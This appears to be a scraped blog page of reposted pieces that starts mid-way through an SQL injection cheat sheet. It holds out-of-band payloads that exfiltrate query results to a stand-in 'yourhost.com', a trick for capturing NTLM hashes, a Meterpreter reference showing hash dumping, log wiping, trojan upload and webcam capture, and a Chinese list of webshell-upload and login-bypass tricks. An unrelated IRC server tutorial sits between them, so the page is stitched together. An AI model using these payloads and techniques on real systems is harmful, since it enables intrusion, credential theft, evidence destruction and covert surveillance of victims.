    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it’s
unfiltered in another action. This is common hidden layer problem.

Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘ 
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or
function, process etc. then it will insert first users password as your
name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user’s Windows password of
target server, but possibly you inbound connection will be firewalled.
Can be very useful internal penetration tests. We force SQL Server to
connect our Windows UNC Share and capture data NTLM session with a tool
like Cain & Abel.

Bulk insert from a UNC Share (S) 
bulk insert foo from ‘\\YOURIPADDRESS\C$\x.txt’

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
    Makes DNS resolution request to {INJECT}.yourhost.com

  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}.yourhost.com

    {INJECTION} = You want to run the query.

MySQL

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’)))
    Makes a NBNS query request/DNS resolution request to yourhost.com

  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    Writes data to your shared folder/file

    {INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||”) FROM DUAL)
    Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
    Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    {INJECTION} = You want to run the query.

References

Since these notes have been collected from several different
sources over a number of years, and through personal experiences, I may
have missed some references. If so please reach out to us so we can add you in this list.

【转载】Meterpreter Basic Commands

原文link: https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

Using Meterpeter commands

Since the Meterpreter provides a
whole new environment, we will cover some of the basic Meterpreter
commands to get you started and help familiarize you with this most
powerful tool. Throughout this course, almost every available
Meterpreter command is covered. For those that aren’t covered,
experimentation is the key to successful learning.

help

The ‘help‘ command, as may be expected, displays the Meterpreter help menu.

meterpreter > help Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels ...snip...

 

background

The ‘background‘ command will send the current
Meterpreter session to the background and return you to the msf prompt.
To get back to your Meterpreter session, just interact with it again.

meterpreter > background msf exploit(ms08_067_netapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter >

 

cat

The ‘cat‘ command is identical to the command found on *nix systems. It displays the content of a file when it’s given as an argument.

meterpreter > cat Usage: cat file

Example usage: meterpreter > cat edit.txt What you talkin' about Willis meterpreter >

 

cd & pwd

The ‘cd‘ & ‘pwd‘ commands are used to change and display current working directly on the target host.
The change directory “cd” works the same way as it does under DOS and *nix systems.
By default, the current working folder is where the connection to your listener was initiated.

ARGUMENTS:

cd:	Path of the folder to change to pwd:	None required

Example usuage:

meterpreter > pwd c:\ meterpreter > cd c:\windows meterpreter > pwd c:\windows meterpreter >

 

clearev

The ‘clearev‘ command will clear the Application, System and Security logs on a Window systems. There are no options or arguments.

Before using Meterpreter to clear the logs | Metasploit Unleashed

Before using Meterpreter to clear the logs | Metasploit Unleashed

Example usage:
Before

meterpreter > clearev [*] Wiping 97 records from Application... [*] Wiping 415 records from System... [*] Wiping 0 records from Security... meterpreter >
After using Meterpreter to clear the logs | Metasploit Unleashed

After using Meterpreter to clear the logs | Metasploit Unleashed

After

download

The ‘download‘ command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.

meterpreter > download c:\\boot.ini [*] downloading: c:\boot.ini -> c:\boot.ini [*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini meterpreter >

 

edit

The ‘edit‘ command opens a file located on the target host.
It uses the ‘vim’ so all the editor’s commands are available.

Example usage:

meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
. ...snip... .
100666/rw-rw-rw-  0       fil   2012-03-01 13:47:10 -0500  edit.txt meterpreter > edit edit.txt 

 

Please refer to the “vim” editor documentation for more advance use.
http://www.vim.org/

execute

The ‘execute‘ command runs a command on the target.

meterpreter > execute -f cmd.exe -i -H Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

 

getuid

Running ‘getuid‘ will display the user that the Meterpreter server is running as on the host.

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >

 

hashdump

The ‘hashdump‘ post module will dump the contents of the SAM database.

meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d::: meterpreter >

 

idletime

Running ‘idletime‘ will display the number of seconds that the user at the remote machine has been idle.

meterpreter > idletime User has been idle for: 5 hours 26 mins 35 secs meterpreter >

 

ipconfig

The ‘ipconfig‘ command displays the network interfaces and addresses on the remote machine.

meterpreter > ipconfig MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0 meterpreter >

 

lpwd & lcd

The ‘lpwd‘ & ‘lcd‘ commands are used to display and change the local working directory respectively.
When receiving a meterpreter shell, the local working directory is the location where one started the Metasploit console.
Changing the working directory will give your meterpreter session access to files located in this folder.

ARGUMENTS:

lpwd:		None required lcd:		Destination folder

Example usage:

meterpreter > lpwd /root meterpreter > lcd MSFU meterpreter > lpwd /root/MSFU meterpreter > lcd /var/www meterpreter > lpwd /var/www meterpreter >

 

ls

As in Linux, the ‘ls‘ command will list the files in the current remote directory.

meterpreter > ls Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data ...snip...

 

 

migrate

Using the ‘migrate‘ post module, you can migrate to another process on the victim.

meterpreter > run post/windows/manage/migrate [*] Running module against V-MAC-XP [*] Current server process: svchost.exe (1076) [*] Migrating to explorer.exe... [*] Migrating into process ID 816 [*] New server process: Explorer.EXE (816) meterpreter >

 

ps

The ‘ps‘ command displays a list of running processes on the target.

meterpreter > ps Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe ...snip...

 

resource

The ‘resource‘ command will execute meterpreter
instructions located inside a text file. Containing one entry per line,
“resource” will execute each line in sequence. This can help automate
repetitive actions performed by a user.

By default, the commands will run in the current working directory
(on target machine) and resource file in the local working directory
(the attacking machine).

meterpreter > resource Usage: resource path1 path2Run the commands stored in the supplied files.
meterpreter >

ARGUMENTS:

path1:		The location of the file containing the commands to run. Path2Run:	The location where to run the commands found inside the file

Example usage
Our file used by resource:

root@kali:~# cat resource.txt ls
background root@kali:~#

Running resource command:

meterpreter> > resource resource.txt [*] Reading /root/resource.txt [*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >

 

search

The ‘search‘ commands provides a way of locating
specific files on the target host. The command is capable of searching
through the whole system or specific folders.
Wildcards can also be used when creating the file pattern to search for.

meterpreter > search [-] You must specify a valid file glob to search for, e.g. >search -f *.doc

ARGUMENTS:

File pattern:	 	May contain wildcards
Search location:	Optional, if none is given the whole system will be searched.

Example usage:

meterpreter > search -f autoexec.bat Found 1 result...
    c:\AUTOEXEC.BAT meterpreter > search -f sea*.bat c:\\xamp\\ Found 1 result...
    c:\\xampp\perl\bin\search.bat (57035 bytes) meterpreter >

 

shell

The ‘shell‘ command will present you with a standard shell on the target system.

meterpreter > shell Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

 

upload

As with the ‘download‘ command, you need to use double-slashes with the ‘upload’ command.

meterpreter > upload evil_trojan.exe c:\\windows\\system32 [*] uploading  : evil_trojan.exe -> c:\windows\system32 [*] uploaded   : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe meterpreter >

 

webcam_list

The ‘webcam_list‘ command when run from the meterpreter shell, will display currently available web cams on the target host.

Example usage:

meterpreter > webcam_list 1: Creative WebCam NX Pro
2: Creative WebCam NX Pro (VFW) meterpreter >

 

webcam_snap

The ‘webcam_snap’ command grabs a picture from a
connected web cam on the target system, and saves it to disc as a JPEG
image. By default, the save location is the local current working
directory with a randomized filename.

meterpreter > webcam_snap -h Usage: webcam_snap [options]
Grab a frame from the specified webcam.

OPTIONS:

    -h      Help Banner
    -i >opt>  The index of the webcam to use (Default: 1)
    -p >opt>  The JPEG image path (Default: 'gnFjTnzi.jpeg')
    -q >opt>  The JPEG image quality (Default: '50')
    -v >opt>  Automatically view the JPEG image (Default: 'true') meterpreter >

OPTIONS:

-h:	Displays the help information for the command
-i opt:	If more then 1 web cam is connected, use this option to select the device to capture the
        image from
-p opt:	Change path and filename of the image to be saved
-q opt:	The imagine quality, 50 being the default/medium setting, 100 being best quality
-v opt:	By default the value is true, which opens the image after capture.

 

Example usage:

meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >
Using webcam_snap Meterpreter plugin | Metasploit Unleashed

Using webcam_snap Meterpreter plugin | Metasploit Unleashed

【转载】How to setup the Ultimate IRC Server

Original link is: http://www.codeography.com/2012/09/23/howto-irc-server.html

While I like Campfire and HipChat and those other tools for
group collaboration there is just something nice about using an IRC
channel. Probably the most compelling reason is that I am going to have
my IRC client running anyway for other channels — so it would be nice
to just add a server and use the same client I am already using.

At Radius we had been using a public server for a little bit of
communication, but the converstaions starting becoming more technical
and wasn’t happy having things go through someone else’s server, and be
unencrypted. So I decided to setup my own. I give you the ultimate irc
setup:

The Ultimate IRC Server

The ultimate server consists of a few components:

  • The IRC server itself (ircd-hybrid)
  • an IRC bouncer (ZNC)
  • a way to tunnel port 443 to the bouncer
  • and maybe a bot that can post funny pictures of cats for you

I am using Ubuntu Server 12.04.1 LTS (ami-137bcf7a) running on a micro instance.

Install the IRC Server

sudo apt-get install ircd-hybrid
sudo vim /etc/ircd-hybrid/ircd.motd

Create the password required to be the Oper:

WARNING: Please do not mix up themkpasswdprogram from/usr/sbinwith this one. If you are root, typingmkpasswdwill run that one instead and you will receive a strange error.

/usr/bin/mkpasswd super-secret

Edit the config file, this is well documented and there are plenty of
little tweaks you can make but make a couple little changes now:

sudo vim /etc/ircd-hybrid/ircd.conf

Comment out thehostparameter in thelistensection (about line 130 in the default ubuntu config)

host = “127.0.0.1″;

to be

#host = “127.0.0.1″;

And increase themax_clientsin theserverinfosection:

max_clients = 2;

to be

max_clients = 512;

This will open the server up to external connections (Note: make sure
you configure your instance to have these ports open, e.g. in EC2 you
will need to edit the security profile and open ports 443, 6664, and
6667), and allow more than 2 folks to connect from the same IP (which is
important since we will have everyone connect via ZNC running on this
machine).

Now restart the server

sudo /etc/init.d/ircd-hybrid restart

Now you should be able to fire up your favorite client and see if you
can get it to connect to the server. Once you have proven it works,
time to move onto the bouncer.

Install the IRC Bouncer

Originally I followed the guide from Dustin Davis but have a few tweaks:

sudo apt-get install znc
znc --makeconf

Follow the guides to setup the server. I mostly choose the defaults, and enabled all the modules

What port would you like ZNC to listen on? (1025 to 65535): 6664
Would you like ZNC to listen using SSL? (yes/no) [no]: yes
Would you like to create a new pem file now? (yes/no) [yes]: yes
Listen Host (Blank for all ips):
Number of lines to buffer per channel [50]: 1000
Would you like to keep buffers after replay? (yes/no) [no]: yes

Configure ZNC to use the brand new IRC server that we just installed:

IRC server (host only): 127.0.0.1
[127.0.0.1] Port (1 to 65535) [6667]: 6667
[127.0.0.1] Password (probably empty):
Does this server use SSL? (yes/no) [no]:
Would you like to add another server for this IRC network? (yes/no) [no]: no
Would you like to add a channel for ZNC to automatically join? (yes/no) [yes]: yes
Would you like to add another channel? (yes/no) [no]: no
Would you like to set up another user (e.g. for connecting to another network)? (yes/no) [no]: no
Launch ZNC now? (yes/no) [yes]: no

Now you can run ZNC as that user and verify it works, and make tweaks to the config.

vi .znc/configs/znc.conf

or with the webadmin module by pointing a browser to

https://yourhostname:6664

To verify that this works with your local client you should just have
to change the port from 6667 to 6664. If you want to compare settings
my initial config file looked something like this.

Make ZNC a system daemon

At the end of the config keep it running and connect to it from your
local IRC client to make sure things are working. Once you have proven
it works time to set it up as a daemon that starts at boot. I used
Henner’s guide when I first set this up.

killall znc # just to make sure

Create the user and group

sudo addgroup --system znc
sudo adduser --system --no-create-home --ingroup znc znc

Create the init script, I have the one I use up here

sudo vim /etc/init.d/znc

It’s pretty big, so you may want to curl it down

curl https://gist.githubusercontent.com/csexton/3772971/raw/efbe88004be70cb7f157e30aa1183ea5867d8de6/gistfile1.sh > /etc/init.d/znc

Copy over the ZNC config files to/etc, and update permissions

sudo mkdir /etc/znc
sudo mv /home/$USER/.znc/* /etc/znc/
rm -R /home/$USER/.znc
chown -R znc:znc /etc/znc
sudo chown -R znc:znc /etc/znc
sudo chmod +x /etc/init.d/znc

Start ‘er up

sudo /etc/init.d/znc start

Setup port forwarding

Forward from 443 to 6664 to work around firewalls.

This step is not required if your network does not block the ports we
are using. But it is still nice to use in case you ever find yourself
on one. Also you would not want to do this on a server that is serving
webpages over https.

sudo apt-get install rinetd
sudo vim /etc/rinetd.conf

Edit that file to include a new forwarding rule

0.0.0.0 443 127.0.0.1 6664

Restart rinetd

sudo /etc/init.d/rinetd restart

If you enabled the webadmin module in ZNC you should now be able to point your browser tohttps://yourhostnameand edit your ZNC config (and let folks edit their accounts, configure
modules and change passwords). Yes, ZNC uses the same port for IRC
connections and for the admin page.

Recap

Now you should have an irc server running on port 6667, a bouncer
running on port 6664, and a tunnel for the bouncer from port 443.

I just used the web admin module to setup accounts for everyone on my
team. I wound up turning off external access to 6667 so that I didn’t
have to secure ircd, and everyone just goes through ZNC.

You might want to setup an bot to do your bidding, I use radbot. You should fork :-)

I run this on a micro instance on Amazon’s EC2, so it costs us about
$14/month — but given that I use the server for other things as well it
doesn’t really cost the full $14.

【转载】常用渗透及入侵技巧总结

常用渗透及入侵技巧总结如下:

  1. 数据库备份拿shell的时候有时候不成功就备份成解析格式的试试
  2. 上传图片木马遇到拦截系统,连图片木马都上传不了,记事本打开图片木马在代码最前面加上gif89a试试
  3. 当后台有数据库备份但没有上传点时,把一句话木马插到任意处,数据库备份里备份成asp木马,再用一句话客户端连接木马
  4. 当网站前台有“会员注册” 注册一个账户进去看看有没有上传点,有的话直接上传asp木马以及利用iis6.0解析漏洞,不行就抓包用明小子上传
  5. 当页面提示只能上传jpg|gif|png等格式的时候,右键查看源文件,本地修改为asp|asa|php再本地上传即可拿下shell
  6. 入侵网站之前连接下3389,可以连接上的话先尝试弱口令,不行就按5次shift键,看看有没有shift后门,再尝试后门弱口令
  7. 访问后台地址时弹出提示框“请登陆” 把地址记出来(复制不了)放到“网页源代码分析器”里,选择浏览器-拦截跳转勾选–查看即可直接进入后台
  8. ewebeditor编辑器后台增加了asp|asa|cer|php|aspx等扩展名上传时都被过滤了,就增加一个aaspsp再上传asp木马就会解析成功了
  9. 注入工具猜解表段,但猜解字段时提示长度超过50之类,不妨扔到穿山甲去猜解试试,有时候就能成功猜解
  10. 当获得管理员密码却不知道管理员帐号时,到网站前台找新闻链接,一般“提交者”“发布者”的名字就是管理员的帐号了
  11. 菜刀里点击一句话木马地址右键,选择虚拟机终端,执行命令出现乱码时,返回去设置编码那里,将默认的GB2312改为UTF-8
  12. 破解出md5为20位,就把前3位和后1位去掉,剩余16位拿去CMD5解密就可以了
  13. 有时在木马代码里加上gif89a,上传成功访问的时候却出现了像图片一样的错误图像,说明服务器把gif89a当做图片来处理了,不要带gif89a就可以
  14. 网站的主站一般都很安全,这时就要旁注或C段了,但是想知道各个IP段开放了什么端口吗?用“啊D网络工具包”里面的IP端口扫描最明细了
  15. 有的后台不显示验证码,往注册表里添加一个ceg即可突破这个困境了,把下面的代码保存为Code.reg,双击导入就可以了捕获
  16. 注入侵的时候,建议挑php的站点来日,因为php站点一般都支持aspx脚本,aspx里权限比较大,对提权希望比较大呢
  17. 在注入点后面加上-1,若返回的页面和前面不同,是另一个正常的页面,则表示存在注入漏洞,而且是数字型的注入漏洞,在注入点后面加上-0,若返回的页面和之前的页面相同,然后加上-1,返回错误页面,则也表示存在注入漏洞,而且也是数字型的注入漏洞
  18. Linux的解析格式:1.php.xxx (xxx可以是任意) 如果apache不认识后缀为rar的文件,就用1.php.rar格式上传,文件就会被服务器当做PHP脚本解析
  19. 辨别linux系统方法:例如:http://www.xxx.com/xxx/abc.asp?id=125 把b换成大写B访问,如果出错了,就说明是linux系统,反之是windows系统
  20. 如何探测服务器上哪些站点支持aspx呢? 利用bing搜索:http://cn.bing.com/ 搜索格式:ip:服务器ip aspx
  21. PHP万能密码(帐号:’ UNION Select 1,1,1 FROM admin Where ”=’密码:1)
  22. ASP万能密码(帐号密码均是’or’=’or’或admin’or’1=1)
  23. 当我们通过注入或是社工把管理员的帐号跟md5密码搞到手的时候,却发现破解不出密码 (MD5是16位加密的),那么我们就可以用COOKIE欺骗来绕过,利用桂林老兵的cookie欺骗工具,把自己的ID以及md5密码都修改成管理员的,再修改cookie,访问时就会实现欺骗了
  24. 倘若目标站开了cdn加速,真实地址会被隐藏起来,我们想搞它就比较困难了。
  25. 一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插 入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又 慎。
  26. 自己的03服务器系统运行burp命令:java -jar bs1407.jar
  27. 记得常扫inc目录,很多时候存在fck编辑器

相关链接:

http://www.77169.com/hack/201510/214921.shtm